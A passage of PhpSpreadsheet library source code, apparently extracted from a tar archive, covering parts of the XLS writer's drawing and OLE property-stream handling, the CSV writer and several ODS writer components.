$drawing->getCoordinates(); $offsetX = $drawing->getOffsetX(); $offsetY = $drawing->getOffsetY(); $width = $drawing->getWidth(); $height = $drawing->getHeight(); $twoAnchor = \PhpOffice\PhpSpreadsheet\Shared\Xls::oneAnchor2twoAnchor($sheet, $coordinates, $offsetX, $offsetY, $width, $height); if (is_array($twoAnchor)) { $spContainer->setStartCoordinates($twoAnchor['startCoordinates']); $spContainer->setStartOffsetX($twoAnchor['startOffsetX']); $spContainer->setStartOffsetY($twoAnchor['startOffsetY']); $spContainer->setEndCoordinates($twoAnchor['endCoordinates']); $spContainer->setEndOffsetX($twoAnchor['endOffsetX']); $spContainer->setEndOffsetY($twoAnchor['endOffsetY']); $spgrContainer->addChild($spContainer); } } // AutoFilters if (!empty($filterRange)) { $rangeBounds = Coordinate::rangeBoundaries($filterRange); $iNumColStart = $rangeBounds[0][0]; $iNumColEnd = $rangeBounds[1][0]; $iInc = $iNumColStart; while ($iInc <= $iNumColEnd) { ++$countShapes[$sheetIndex]; // create an Drawing Object for the dropdown $oDrawing = new BaseDrawing(); // get the coordinates of drawing $cDrawing = Coordinate::stringFromColumnIndex($iInc) . $rangeBounds[0][1]; $oDrawing->setCoordinates($cDrawing); $oDrawing->setWorksheet($sheet); // add the shape $spContainer = new SpContainer(); // set the shape type $spContainer->setSpType(0x00C9); // set the shape flag $spContainer->setSpFlag(0x01); // set the shape index (we combine 1-based sheet index and $countShapes to create unique shape index) $reducedSpId = $countShapes[$sheetIndex]; $spId = $reducedSpId | ($sheet->getParentOrThrow()->getIndex($sheet) + 1) << 10; $spContainer->setSpId($spId); // keep track of last reducedSpId $lastReducedSpId = $reducedSpId; // keep track of last spId $lastSpId = $spId; $spContainer->setOPT(0x007F, 0x01040104); // Protection -> fLockAgainstGrouping $spContainer->setOPT(0x00BF, 0x00080008); // Text -> fFitTextToShape $spContainer->setOPT(0x01BF, 0x00010000); // Fill Style -> fNoFillHitTest $spContainer->setOPT(0x01FF, 0x00080000); // Line Style -> fNoLineDrawDash $spContainer->setOPT(0x03BF, 0x000A0000); // Group Shape -> fPrint // set coordinates and offsets, client anchor $endCoordinates = Coordinate::stringFromColumnIndex($iInc); $endCoordinates .= $rangeBounds[0][1] + 1; $spContainer->setStartCoordinates($cDrawing); $spContainer->setStartOffsetX(0); $spContainer->setStartOffsetY(0); $spContainer->setEndCoordinates($endCoordinates); $spContainer->setEndOffsetX(0); $spContainer->setEndOffsetY(0); $spgrContainer->addChild($spContainer); ++$iInc; } } // identifier clusters, used for workbook Escher object $this->IDCLs[$dgId] = $lastReducedSpId; // set last shape index $dgContainer->setLastSpId($lastSpId); // set the Escher object $this->writerWorksheets[$sheetIndex]->setEscher($escher); } } private function processMemoryDrawing(BstoreContainer &$bstoreContainer, MemoryDrawing $drawing, string $renderingFunctionx): void { switch ($renderingFunctionx) { case MemoryDrawing::RENDERING_JPEG: $blipType = BSE::BLIPTYPE_JPEG; $renderingFunction = 'imagejpeg'; break; default: $blipType = BSE::BLIPTYPE_PNG; $renderingFunction = 'imagepng'; break; } ob_start(); call_user_func($renderingFunction, $drawing->getImageResource()); $blipData = ob_get_contents(); ob_end_clean(); $blip = new Blip(); $blip->setData("$blipData"); $BSE = new BSE(); $BSE->setBlipType($blipType); $BSE->setBlip($blip); $bstoreContainer->addBSE($BSE); } private static int $two = 2; // phpstan silliness private function processDrawing(BstoreContainer &$bstoreContainer, Drawing $drawing): void { $blipType = 0; $blipData = ''; $filename = $drawing->getPath(); $imageSize = getimagesize($filename); $imageFormat = empty($imageSize) ? 0 : ($imageSize[self::$two] ?? 0); switch ($imageFormat) { case 1: // GIF, not supported by BIFF8, we convert to PNG $blipType = BSE::BLIPTYPE_PNG; $newImage = @imagecreatefromgif($filename); if ($newImage === false) { throw new Exception("Unable to create image from $filename"); } ob_start(); imagepng($newImage); $blipData = ob_get_contents(); ob_end_clean(); break; case 2: // JPEG $blipType = BSE::BLIPTYPE_JPEG; $blipData = file_get_contents($filename); break; case 3: // PNG $blipType = BSE::BLIPTYPE_PNG; $blipData = file_get_contents($filename); break; case 6: // Windows DIB (BMP), we convert to PNG $blipType = BSE::BLIPTYPE_PNG; $newImage = @imagecreatefrombmp($filename); if ($newImage === false) { throw new Exception("Unable to create image from $filename"); } ob_start(); imagepng($newImage); $blipData = ob_get_contents(); ob_end_clean(); break; } if ($blipData) { $blip = new Blip(); $blip->setData($blipData); $BSE = new BSE(); $BSE->setBlipType($blipType); $BSE->setBlip($blip); $bstoreContainer->addBSE($BSE); } } private function processBaseDrawing(BstoreContainer &$bstoreContainer, BaseDrawing $drawing): void { if ($drawing instanceof Drawing) { $this->processDrawing($bstoreContainer, $drawing); } elseif ($drawing instanceof MemoryDrawing) { $this->processMemoryDrawing($bstoreContainer, $drawing, $drawing->getRenderingFunction()); } } private function checkForDrawings(): bool { // any drawings in this workbook? $found = false; foreach ($this->spreadsheet->getAllSheets() as $sheet) { if (count($sheet->getDrawingCollection()) > 0) { $found = true; break; } } return $found; } /** * Build the Escher object corresponding to the MSODRAWINGGROUP record. */ private function buildWorkbookEscher(): void { // nothing to do if there are no drawings if (!$this->checkForDrawings()) { return; } // if we reach here, then there are drawings in the workbook $escher = new Escher(); // dggContainer $dggContainer = new DggContainer(); $escher->setDggContainer($dggContainer); // set IDCLs (identifier clusters) $dggContainer->setIDCLs($this->IDCLs); // this loop is for determining maximum shape identifier of all drawing $spIdMax = 0; $totalCountShapes = 0; $countDrawings = 0; foreach ($this->spreadsheet->getAllsheets() as $sheet) { $sheetCountShapes = 0; // count number of shapes (minus group shape), in sheet $addCount = 0; foreach ($sheet->getDrawingCollection() as $drawing) { $addCount = 1; ++$sheetCountShapes; ++$totalCountShapes; $spId = $sheetCountShapes | ($this->spreadsheet->getIndex($sheet) + 1) << 10; $spIdMax = max($spId, $spIdMax); } $countDrawings += $addCount; } $dggContainer->setSpIdMax($spIdMax + 1); $dggContainer->setCDgSaved($countDrawings); $dggContainer->setCSpSaved($totalCountShapes + $countDrawings); // total number of shapes incl. one group shapes per drawing // bstoreContainer $bstoreContainer = new BstoreContainer(); $dggContainer->setBstoreContainer($bstoreContainer); // the BSE's (all the images) foreach ($this->spreadsheet->getAllsheets() as $sheet) { foreach ($sheet->getDrawingCollection() as $drawing) { $this->processBaseDrawing($bstoreContainer, $drawing); } } // Set the Escher object $this->writerWorkbook->setEscher($escher); } /** * Build the OLE Part for DocumentSummary Information. */ private function writeDocumentSummaryInformation(): string { // offset: 0; size: 2; must be 0xFE 0xFF (UTF-16 LE byte order mark) $data = pack('v', 0xFFFE); // offset: 2; size: 2; $data .= pack('v', 0x0000); // offset: 4; size: 2; OS version $data .= pack('v', 0x0106); // offset: 6; size: 2; OS indicator $data .= pack('v', 0x0002); // offset: 8; size: 16 $data .= pack('VVVV', 0x00, 0x00, 0x00, 0x00); // offset: 24; size: 4; section count $data .= pack('V', 0x0001); // offset: 28; size: 16; first section's class id: 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae $data .= pack('vvvvvvvv', 0xD502, 0xD5CD, 0x2E9C, 0x101B, 0x9793, 0x0008, 0x2C2B, 0xAEF9); // offset: 44; size: 4; offset of the start $data .= pack('V', 0x30); // SECTION $dataSection = []; $dataSection_NumProps = 0; $dataSection_Summary = ''; $dataSection_Content = ''; // GKPIDDSI_CODEPAGE: CodePage $dataSection[] = [ 'summary' => ['pack' => 'V', 'data' => 0x01], 'offset' => ['pack' => 'V'], 'type' => ['pack' => 'V', 'data' => 0x02], // 2 byte signed integer 'data' => ['data' => 1252], ]; ++$dataSection_NumProps; // GKPIDDSI_CATEGORY : Category $dataProp = $this->spreadsheet->getProperties()->getCategory(); if ($dataProp) { $dataSection[] = [ 'summary' => ['pack' => 'V', 'data' => 0x02], 'offset' => ['pack' => 'V'], 'type' => ['pack' => 'V', 'data' => 0x1E], 'data' => ['data' => $dataProp, 'length' => strlen($dataProp)], ]; ++$dataSection_NumProps; } // GKPIDDSI_VERSION :Version of the application that wrote the property storage $dataSection[] = [ 'summary' => ['pack' => 'V', 'data' => 0x17], 'offset' => ['pack' => 'V'], 'type' => ['pack' => 'V', 'data' => 0x03], 'data' => ['pack' => 'V', 'data' => 0x000C0000], ]; ++$dataSection_NumProps; // GKPIDDSI_SCALE : FALSE $dataSection[] = [ 'summary' => ['pack' => 'V', 'data' => 0x0B], 'offset' => ['pack' => 'V'], 'type' => ['pack' => 'V', 'data' => 0x0B], 'data' => ['data' => false], ]; ++$dataSection_NumProps; // GKPIDDSI_LINKSDIRTY : True if any of the values for the linked properties have changed outside of the application $dataSection[] = [ 'summary' => ['pack' => 'V', 'data' => 0x10], 'offset' => ['pack' => 'V'], 'type' => ['pack' => 'V', 'data' => 0x0B], 'data' => ['data' => false], ]; ++$dataSection_NumProps; // GKPIDDSI_SHAREDOC : FALSE $dataSection[] = [ 'summary' => ['pack' => 'V', 'data' => 0x13], 'offset' => ['pack' => 'V'], 'type' => ['pack' => 'V', 'data' => 0x0B], 'data' => ['data' => false], ]; ++$dataSection_NumProps; // GKPIDDSI_HYPERLINKSCHANGED : True if any of the values for the _PID_LINKS (hyperlink text) have changed outside of the application $dataSection[] = [ 'summary' => ['pack' => 'V', 'data' => 0x16], 'offset' => ['pack' => 'V'], 'type' => ['pack' => 'V', 'data' => 0x0B], 'data' => ['data' => false], ]; ++$dataSection_NumProps; // GKPIDDSI_DOCSPARTS // MS-OSHARED p75 (2.3.3.2.2.1) // Structure is VtVecUnalignedLpstrValue (2.3.3.1.9) // cElements $dataProp = pack('v', 0x0001); $dataProp .= pack('v', 0x0000); // array of UnalignedLpstr // cch $dataProp .= pack('v', 0x000A); $dataProp .= pack('v', 0x0000); // value $dataProp .= 'Worksheet' . chr(0); $dataSection[] = [ 'summary' => ['pack' => 'V', 'data' => 0x0D], 'offset' => ['pack' => 'V'], 'type' => ['pack' => 'V', 'data' => 0x101E], 'data' => ['data' => $dataProp, 'length' => strlen($dataProp)], ]; ++$dataSection_NumProps; // GKPIDDSI_HEADINGPAIR // VtVecHeadingPairValue // cElements $dataProp = pack('v', 0x0002); $dataProp .= pack('v', 0x0000); // Array of vtHeadingPair // vtUnalignedString - headingString // stringType $dataProp .= pack('v', 0x001E); // padding $dataProp .= pack('v', 0x0000); // UnalignedLpstr // cch $dataProp .= pack('v', 0x0013); $dataProp .= pack('v', 0x0000); // value $dataProp .= 'Feuilles de calcul'; // vtUnalignedString - headingParts // wType : 0x0003 = 32 bit signed integer $dataProp .= pack('v', 0x0300); // padding $dataProp .= pack('v', 0x0000); // value $dataProp .= pack('v', 0x0100); $dataProp .= pack('v', 0x0000); $dataProp .= pack('v', 0x0000); $dataProp .= pack('v', 0x0000); $dataSection[] = [ 'summary' => ['pack' => 'V', 'data' => 0x0C], 'offset' => ['pack' => 'V'], 'type' => ['pack' => 'V', 'data' => 0x100C], 'data' => ['data' => $dataProp, 'length' => strlen($dataProp)], ]; ++$dataSection_NumProps; // 4 Section Length // 4 Property count // 8 * $dataSection_NumProps (8 = ID (4) + OffSet(4)) $dataSection_Content_Offset = 8 + $dataSection_NumProps * 8; foreach ($dataSection as $dataProp) { // Summary $dataSection_Summary .= pack($dataProp['summary']['pack'], $dataProp['summary']['data']); // Offset $dataSection_Summary .= pack($dataProp['offset']['pack'], $dataSection_Content_Offset); // DataType $dataSection_Content .= pack($dataProp['type']['pack'], $dataProp['type']['data']); // Data if ($dataProp['type']['data'] == 0x02) { // 2 byte signed integer $dataSection_Content .= pack('V', $dataProp['data']['data']); $dataSection_Content_Offset += 4 + 4; } elseif ($dataProp['type']['data'] == 0x03) { // 4 byte signed integer $dataSection_Content .= pack('V', $dataProp['data']['data']); $dataSection_Content_Offset += 4 + 4; } elseif ($dataProp['type']['data'] == 0x0B) { // Boolean $dataSection_Content .= pack('V', (int) $dataProp['data']['data']); $dataSection_Content_Offset += 4 + 4; } elseif ($dataProp['type']['data'] == 0x1E) { // null-terminated string prepended by dword string length // Null-terminated string $dataProp['data']['data'] .= chr(0); ++$dataProp['data']['length']; // Complete the string with null string for being a %4 $dataProp['data']['length'] = $dataProp['data']['length'] + ((4 - $dataProp['data']['length'] % 4) == 4 ? 0 : (4 - $dataProp['data']['length'] % 4)); $dataProp['data']['data'] = str_pad($dataProp['data']['data'], $dataProp['data']['length'], chr(0), STR_PAD_RIGHT); $dataSection_Content .= pack('V', $dataProp['data']['length']); $dataSection_Content .= $dataProp['data']['data']; $dataSection_Content_Offset += 4 + 4 + strlen($dataProp['data']['data']); } else { $dataSection_Content .= $dataProp['data']['data']; $dataSection_Content_Offset += 4 + $dataProp['data']['length']; } } // Now $dataSection_Content_Offset contains the size of the content // section header // offset: $secOffset; size: 4; section length // + x Size of the content (summary + content) $data .= pack('V', $dataSection_Content_Offset); // offset: $secOffset+4; size: 4; property count $data .= pack('V', $dataSection_NumProps); // Section Summary $data .= $dataSection_Summary; // Section Content $data .= $dataSection_Content; return $data; } private function writeSummaryPropOle(float|int $dataProp, int &$dataSection_NumProps, array &$dataSection, int $sumdata, int $typdata): void { if ($dataProp) { $dataSection[] = [ 'summary' => ['pack' => 'V', 'data' => $sumdata], 'offset' => ['pack' => 'V'], 'type' => ['pack' => 'V', 'data' => $typdata], // null-terminated string prepended by dword string length 'data' => ['data' => OLE::localDateToOLE($dataProp)], ]; ++$dataSection_NumProps; } } private function writeSummaryProp(string $dataProp, int &$dataSection_NumProps, array &$dataSection, int $sumdata, int $typdata): void { if ($dataProp) { $dataSection[] = [ 'summary' => ['pack' => 'V', 'data' => $sumdata], 'offset' => ['pack' => 'V'], 'type' => ['pack' => 'V', 'data' => $typdata], // null-terminated string prepended by dword string length 'data' => ['data' => $dataProp, 'length' => strlen($dataProp)], ]; ++$dataSection_NumProps; } } /** * Build the OLE Part for Summary Information. */ private function writeSummaryInformation(): string { // offset: 0; size: 2; must be 0xFE 0xFF (UTF-16 LE byte order mark) $data = pack('v', 0xFFFE); // offset: 2; size: 2; $data .= pack('v', 0x0000); // offset: 4; size: 2; OS version $data .= pack('v', 0x0106); // offset: 6; size: 2; OS indicator $data .= pack('v', 0x0002); // offset: 8; size: 16 $data .= pack('VVVV', 0x00, 0x00, 0x00, 0x00); // offset: 24; size: 4; section count $data .= pack('V', 0x0001); // offset: 28; size: 16; first section's class id: e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 $data .= pack('vvvvvvvv', 0x85E0, 0xF29F, 0x4FF9, 0x1068, 0x91AB, 0x0008, 0x272B, 0xD9B3); // offset: 44; size: 4; offset of the start $data .= pack('V', 0x30); // SECTION $dataSection = []; $dataSection_NumProps = 0; $dataSection_Summary = ''; $dataSection_Content = ''; // CodePage : CP-1252 $dataSection[] = [ 'summary' => ['pack' => 'V', 'data' => 0x01], 'offset' => ['pack' => 'V'], 'type' => ['pack' => 'V', 'data' => 0x02], // 2 byte signed integer 'data' => ['data' => 1252], ]; ++$dataSection_NumProps; $props = $this->spreadsheet->getProperties(); $this->writeSummaryProp($props->getTitle(), $dataSection_NumProps, $dataSection, 0x02, 0x1E); $this->writeSummaryProp($props->getSubject(), $dataSection_NumProps, $dataSection, 0x03, 0x1E); $this->writeSummaryProp($props->getCreator(), $dataSection_NumProps, $dataSection, 0x04, 0x1E); $this->writeSummaryProp($props->getKeywords(), $dataSection_NumProps, $dataSection, 0x05, 0x1E); $this->writeSummaryProp($props->getDescription(), $dataSection_NumProps, $dataSection, 0x06, 0x1E); $this->writeSummaryProp($props->getLastModifiedBy(), $dataSection_NumProps, $dataSection, 0x08, 0x1E); $this->writeSummaryPropOle($props->getCreated(), $dataSection_NumProps, $dataSection, 0x0C, 0x40); $this->writeSummaryPropOle($props->getModified(), $dataSection_NumProps, $dataSection, 0x0D, 0x40); // Security $dataSection[] = [ 'summary' => ['pack' => 'V', 'data' => 0x13], 'offset' => ['pack' => 'V'], 'type' => ['pack' => 'V', 'data' => 0x03], // 4 byte signed integer 'data' => ['data' => 0x00], ]; ++$dataSection_NumProps; // 4 Section Length // 4 Property count // 8 * $dataSection_NumProps (8 = ID (4) + OffSet(4)) $dataSection_Content_Offset = 8 + $dataSection_NumProps * 8; foreach ($dataSection as $dataProp) { // Summary $dataSection_Summary .= pack($dataProp['summary']['pack'], $dataProp['summary']['data']); // Offset $dataSection_Summary .= pack($dataProp['offset']['pack'], $dataSection_Content_Offset); // DataType $dataSection_Content .= pack($dataProp['type']['pack'], $dataProp['type']['data']); // Data if ($dataProp['type']['data'] == 0x02) { // 2 byte signed integer $dataSection_Content .= pack('V', $dataProp['data']['data']); $dataSection_Content_Offset += 4 + 4; } elseif ($dataProp['type']['data'] == 0x03) { // 4 byte signed integer $dataSection_Content .= pack('V', $dataProp['data']['data']); $dataSection_Content_Offset += 4 + 4; } elseif ($dataProp['type']['data'] == 0x1E) { // null-terminated string prepended by dword string length // Null-terminated string $dataProp['data']['data'] .= chr(0); ++$dataProp['data']['length']; // Complete the string with null string for being a %4 $dataProp['data']['length'] = $dataProp['data']['length'] + ((4 - $dataProp['data']['length'] % 4) == 4 ? 0 : (4 - $dataProp['data']['length'] % 4)); $dataProp['data']['data'] = str_pad($dataProp['data']['data'], $dataProp['data']['length'], chr(0), STR_PAD_RIGHT); $dataSection_Content .= pack('V', $dataProp['data']['length']); $dataSection_Content .= $dataProp['data']['data']; $dataSection_Content_Offset += 4 + 4 + strlen($dataProp['data']['data']); } elseif ($dataProp['type']['data'] == 0x40) { // Filetime (64-bit value representing the number of 100-nanosecond intervals since January 1, 1601) $dataSection_Content .= $dataProp['data']['data']; $dataSection_Content_Offset += 4 + 8; } // Data Type Not Used at the moment } // Now $dataSection_Content_Offset contains the size of the content // section header // offset: $secOffset; size: 4; section length // + x Size of the content (summary + content) $data .= pack('V', $dataSection_Content_Offset); // offset: $secOffset+4; size: 4; property count $data .= pack('V', $dataSection_NumProps); // Section Summary $data .= $dataSection_Summary; // Section Content $data .= $dataSection_Content; return $data; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Csv.php000064400000017542151676714400020000 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Spreadsheet; use Stringable; class Csv extends BaseWriter { /** * PhpSpreadsheet object. */ private Spreadsheet $spreadsheet; /** * Delimiter. */ private string $delimiter = ','; /** * Enclosure. */ private string $enclosure = '"'; /** * Line ending. */ private string $lineEnding = PHP_EOL; /** * Sheet index to write. */ private int $sheetIndex = 0; /** * Whether to write a UTF8 BOM. */ private bool $useBOM = false; /** * Whether to write a Separator line as the first line of the file * sep=x. */ private bool $includeSeparatorLine = false; /** * Whether to write a fully Excel compatible CSV file. */ private bool $excelCompatibility = false; /** * Output encoding. */ private string $outputEncoding = ''; /** * Create a new CSV. */ public function __construct(Spreadsheet $spreadsheet) { $this->spreadsheet = $spreadsheet; } /** * Save PhpSpreadsheet to file. * * @param resource|string $filename */ public function save($filename, int $flags = 0): void { $this->processFlags($flags); // Fetch sheet $sheet = $this->spreadsheet->getSheet($this->sheetIndex); $saveDebugLog = Calculation::getInstance($this->spreadsheet)->getDebugLog()->getWriteDebugLog(); Calculation::getInstance($this->spreadsheet)->getDebugLog()->setWriteDebugLog(false); $saveArrayReturnType = Calculation::getArrayReturnType(); Calculation::setArrayReturnType(Calculation::RETURN_ARRAY_AS_VALUE); // Open file $this->openFileHandle($filename); if ($this->excelCompatibility) { $this->setUseBOM(true); // Enforce UTF-8 BOM Header $this->setIncludeSeparatorLine(true); // Set separator line $this->setEnclosure('"'); // Set enclosure to " $this->setDelimiter(';'); // Set delimiter to a semi-colon $this->setLineEnding("\r\n"); } if ($this->useBOM) { // Write the UTF-8 BOM code if required fwrite($this->fileHandle, "\xEF\xBB\xBF"); } if ($this->includeSeparatorLine) { // Write the separator line if required fwrite($this->fileHandle, 'sep=' . $this->getDelimiter() . $this->lineEnding); } // Identify the range that we need to extract from the worksheet $maxCol = $sheet->getHighestDataColumn(); $maxRow = $sheet->getHighestDataRow(); // Write rows to file foreach ($sheet->rangeToArrayYieldRows("A1:$maxCol$maxRow", '', $this->preCalculateFormulas) as $cellsArray) { $this->writeLine($this->fileHandle, $cellsArray); } $this->maybeCloseFileHandle(); Calculation::setArrayReturnType($saveArrayReturnType); Calculation::getInstance($this->spreadsheet)->getDebugLog()->setWriteDebugLog($saveDebugLog); } public function getDelimiter(): string { return $this->delimiter; } public function setDelimiter(string $delimiter): self { $this->delimiter = $delimiter; return $this; } public function getEnclosure(): string { return $this->enclosure; } public function setEnclosure(string $enclosure = '"'): self { $this->enclosure = $enclosure; return $this; } public function getLineEnding(): string { return $this->lineEnding; } public function setLineEnding(string $lineEnding): self { $this->lineEnding = $lineEnding; return $this; } /** * Get whether BOM should be used. */ public function getUseBOM(): bool { return $this->useBOM; } /** * Set whether BOM should be used, typically when non-ASCII characters are used. */ public function setUseBOM(bool $useBOM): self { $this->useBOM = $useBOM; return $this; } /** * Get whether a separator line should be included. */ public function getIncludeSeparatorLine(): bool { return $this->includeSeparatorLine; } /** * Set whether a separator line should be included as the first line of the file. */ public function setIncludeSeparatorLine(bool $includeSeparatorLine): self { $this->includeSeparatorLine = $includeSeparatorLine; return $this; } /** * Get whether the file should be saved with full Excel Compatibility. */ public function getExcelCompatibility(): bool { return $this->excelCompatibility; } /** * Set whether the file should be saved with full Excel Compatibility. * * @param bool $excelCompatibility Set the file to be written as a fully Excel compatible csv file * Note that this overrides other settings such as useBOM, enclosure and delimiter */ public function setExcelCompatibility(bool $excelCompatibility): self { $this->excelCompatibility = $excelCompatibility; return $this; } public function getSheetIndex(): int { return $this->sheetIndex; } public function setSheetIndex(int $sheetIndex): self { $this->sheetIndex = $sheetIndex; return $this; } public function getOutputEncoding(): string { return $this->outputEncoding; } public function setOutputEncoding(string $outputEnconding): self { $this->outputEncoding = $outputEnconding; return $this; } private bool $enclosureRequired = true; public function setEnclosureRequired(bool $value): self { $this->enclosureRequired = $value; return $this; } public function getEnclosureRequired(): bool { return $this->enclosureRequired; } /** * Convert boolean to TRUE/FALSE; otherwise return element cast to string. * * @param null|bool|float|int|string|Stringable $element element to be converted */ private static function elementToString(mixed $element): string { if (is_bool($element)) { return $element ? 'TRUE' : 'FALSE'; } return (string) $element; } /** * Write line to CSV file. * * @param resource $fileHandle PHP filehandle * @param array $values Array containing values in a row */ private function writeLine($fileHandle, array $values): void { // No leading delimiter $delimiter = ''; // Build the line $line = ''; /** @var null|bool|float|int|string|Stringable $element */ foreach ($values as $element) { $element = self::elementToString($element); // Add delimiter $line .= $delimiter; $delimiter = $this->delimiter; // Escape enclosures $enclosure = $this->enclosure; if ($enclosure) { // If enclosure is not required, use enclosure only if // element contains newline, delimiter, or enclosure. if (!$this->enclosureRequired && strpbrk($element, "$delimiter$enclosure\n") === false) { $enclosure = ''; } else { $element = str_replace($enclosure, $enclosure . $enclosure, $element); } } // Add enclosed string $line .= $enclosure . $element . $enclosure; } // Add line ending $line .= $this->lineEnding; // Write to file if ($this->outputEncoding != '') { $line = mb_convert_encoding($line, $this->outputEncoding); } fwrite($fileHandle, $line); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Ods/Mimetype.php000064400000000462151676714400021554 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Ods; class Mimetype extends WriterPart { /** * Write mimetype to plain text format. * * @return string XML Output */ public function write(): string { return 'application/vnd.oasis.opendocument.spreadsheet'; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Ods/MetaInf.php000064400000004705151676714400021312 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Ods; use PhpOffice\PhpSpreadsheet\Shared\XMLWriter; class MetaInf extends WriterPart { /** * Write META-INF/manifest.xml to XML format. * * @return string XML Output */ public function write(): string { $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8'); // Manifest $objWriter->startElement('manifest:manifest'); $objWriter->writeAttribute('xmlns:manifest', 'urn:oasis:names:tc:opendocument:xmlns:manifest:1.0'); $objWriter->writeAttribute('manifest:version', '1.2'); $objWriter->startElement('manifest:file-entry'); $objWriter->writeAttribute('manifest:full-path', '/'); $objWriter->writeAttribute('manifest:version', '1.2'); $objWriter->writeAttribute('manifest:media-type', 'application/vnd.oasis.opendocument.spreadsheet'); $objWriter->endElement(); $objWriter->startElement('manifest:file-entry'); $objWriter->writeAttribute('manifest:full-path', 'meta.xml'); $objWriter->writeAttribute('manifest:media-type', 'text/xml'); $objWriter->endElement(); $objWriter->startElement('manifest:file-entry'); $objWriter->writeAttribute('manifest:full-path', 'settings.xml'); $objWriter->writeAttribute('manifest:media-type', 'text/xml'); $objWriter->endElement(); $objWriter->startElement('manifest:file-entry'); $objWriter->writeAttribute('manifest:full-path', 'content.xml'); $objWriter->writeAttribute('manifest:media-type', 'text/xml'); $objWriter->endElement(); $objWriter->startElement('manifest:file-entry'); $objWriter->writeAttribute('manifest:full-path', 'Thumbnails/thumbnail.png'); $objWriter->writeAttribute('manifest:media-type', 'image/png'); $objWriter->endElement(); $objWriter->startElement('manifest:file-entry'); $objWriter->writeAttribute('manifest:full-path', 'styles.xml'); $objWriter->writeAttribute('manifest:media-type', 'text/xml'); $objWriter->endElement(); $objWriter->endElement(); return $objWriter->getData(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Ods/WriterPart.php000064400000001011151676714400022055 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Ods; use PhpOffice\PhpSpreadsheet\Writer\Ods; abstract class WriterPart { /** * Parent Ods object. */ private Ods $parentWriter; /** * Get Ods writer. */ public function getParentWriter(): Ods { return $this->parentWriter; } /** * Set parent Ods writer. */ public function __construct(Ods $writer) { $this->parentWriter = $writer; } abstract public function write(): string; } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Ods/Styles.php000064400000007153151676714400021252 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Ods; use PhpOffice\PhpSpreadsheet\Shared\XMLWriter; class Styles extends WriterPart { /** * Write styles.xml to XML format. * * @return string XML Output */ public function write(): string { $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8'); // Content $objWriter->startElement('office:document-styles'); $objWriter->writeAttribute('xmlns:office', 'urn:oasis:names:tc:opendocument:xmlns:office:1.0'); $objWriter->writeAttribute('xmlns:style', 'urn:oasis:names:tc:opendocument:xmlns:style:1.0'); $objWriter->writeAttribute('xmlns:text', 'urn:oasis:names:tc:opendocument:xmlns:text:1.0'); $objWriter->writeAttribute('xmlns:table', 'urn:oasis:names:tc:opendocument:xmlns:table:1.0'); $objWriter->writeAttribute('xmlns:draw', 'urn:oasis:names:tc:opendocument:xmlns:drawing:1.0'); $objWriter->writeAttribute('xmlns:fo', 'urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0'); $objWriter->writeAttribute('xmlns:xlink', 'http://www.w3.org/1999/xlink'); $objWriter->writeAttribute('xmlns:dc', 'http://purl.org/dc/elements/1.1/'); $objWriter->writeAttribute('xmlns:meta', 'urn:oasis:names:tc:opendocument:xmlns:meta:1.0'); $objWriter->writeAttribute('xmlns:number', 'urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0'); $objWriter->writeAttribute('xmlns:presentation', 'urn:oasis:names:tc:opendocument:xmlns:presentation:1.0'); $objWriter->writeAttribute('xmlns:svg', 'urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0'); $objWriter->writeAttribute('xmlns:chart', 'urn:oasis:names:tc:opendocument:xmlns:chart:1.0'); $objWriter->writeAttribute('xmlns:dr3d', 'urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0'); $objWriter->writeAttribute('xmlns:math', 'http://www.w3.org/1998/Math/MathML'); $objWriter->writeAttribute('xmlns:form', 'urn:oasis:names:tc:opendocument:xmlns:form:1.0'); $objWriter->writeAttribute('xmlns:script', 'urn:oasis:names:tc:opendocument:xmlns:script:1.0'); $objWriter->writeAttribute('xmlns:ooo', 'http://openoffice.org/2004/office'); $objWriter->writeAttribute('xmlns:ooow', 'http://openoffice.org/2004/writer'); $objWriter->writeAttribute('xmlns:oooc', 'http://openoffice.org/2004/calc'); $objWriter->writeAttribute('xmlns:dom', 'http://www.w3.org/2001/xml-events'); $objWriter->writeAttribute('xmlns:rpt', 'http://openoffice.org/2005/report'); $objWriter->writeAttribute('xmlns:of', 'urn:oasis:names:tc:opendocument:xmlns:of:1.2'); $objWriter->writeAttribute('xmlns:xhtml', 'http://www.w3.org/1999/xhtml'); $objWriter->writeAttribute('xmlns:grddl', 'http://www.w3.org/2003/g/data-view#'); $objWriter->writeAttribute('xmlns:tableooo', 'http://openoffice.org/2009/table'); $objWriter->writeAttribute('xmlns:css3t', 'http://www.w3.org/TR/css3-text/'); $objWriter->writeAttribute('office:version', '1.2'); $objWriter->writeElement('office:font-face-decls'); $objWriter->writeElement('office:styles'); $objWriter->writeElement('office:automatic-styles'); $objWriter->writeElement('office:master-styles'); $objWriter->endElement(); return $objWriter->getData(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Ods/AutoFilters.php000064400000003550151676714400022225 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Ods; use 